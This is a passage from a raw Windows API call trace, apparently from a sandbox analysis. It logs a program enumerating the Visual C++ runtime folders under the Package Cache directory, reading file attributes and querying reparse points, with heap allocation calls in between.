dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="")) returned 1 [0092.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.613] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.613] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.613] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.614] NtClose (Handle=0x174) returned 0x0 [0092.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.615] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.615] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.615] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.615] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.615] GetLastError () returned 0x12 [0092.615] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.615] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.615] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.615] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.616] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.617] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.617] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.617] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.618] NtClose (Handle=0x174) returned 0x0 [0092.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.619] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.620] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.620] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 1 [0092.620] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 0 [0092.620] GetLastError () returned 0x12 [0092.620] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.620] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.620] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.620] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 1 [0092.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.621] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.621] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.621] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.622] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.622] NtClose (Handle=0x174) returned 0x0 [0092.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.624] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.624] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.624] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f91d8 [0092.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136fa08 [0092.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.627] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 1 [0092.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f91f8 [0092.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x12547e0 [0092.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 0 [0092.629] GetLastError () returned 0x12 [0092.629] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0092.629] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.629] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.629] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.629] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 1 [0092.630] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="")) returned 0 [0092.630] GetLastError () returned 0x12 [0092.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.630] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.630] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="")) returned 0 [0092.630] GetLastError () returned 0x12 [0092.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.631] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.631] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.631] GetLastError () returned 0x12 [0092.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.632] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.632] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="")) returned 1 [0092.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.633] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.633] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.633] SetFileTime 